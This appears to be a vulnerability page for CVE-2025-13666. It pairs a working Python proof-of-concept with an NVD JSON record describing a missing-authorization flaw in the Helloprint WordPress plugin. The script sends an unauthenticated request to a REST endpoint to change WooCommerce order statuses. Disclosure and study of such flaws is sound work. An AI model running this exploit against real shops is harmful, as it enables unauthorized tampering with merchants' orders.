CVE-2025-13666

import requests import json # CVE-2025-13666 PoC - Helloprint Plugin Missing Authorization # Target: WordPress site with Helloprint plugin <= 2.1.2 target_url = "http://target-wordpress-site.com" endpoint = "/wp-json/helloprint/v1/complete_order_from_helloprint_callback" # The vulnerable endpoint that lacks authorization checks vulnerable_url = f"{target_url}{endpoint}" # Valid WooCommerce order ID to manipulate order_id = "123" # Replace with actual order ID # Payload to modify order status without authentication payload = { "order_id": order_id, "status": "completed" # Desired status modification } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Target: {vulnerable_url}") print(f"[*] Attempting to modify order status for order ID: {order_id}") try: response = requests.post( vulnerable_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Order status modified successfully (vulnerability confirmed)") else: print("[-] Request failed or plugin may be patched") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-13666", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:52.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Helloprint plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.2. This is due to the plugin registering a public REST API endpoint without implementing authorization checks to verify request authenticity. This makes it possible for unauthenticated attackers to arbitrarily modify WooCommerce order statuses via the /wp-json/helloprint/v1/complete_order_from_helloprint_callback endpoint by providing a valid order reference ID."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/helloprint/tags/2.1.2/includes/Base/Controllers/Admin/OrderController.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/helloprint/trunk/includes/Base/Controllers/Admin/OrderController.php#L48", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4b07ed75-6ee3-4a1a-b165-439a9135b059?source=cve", "source": "[email protected]"}]}}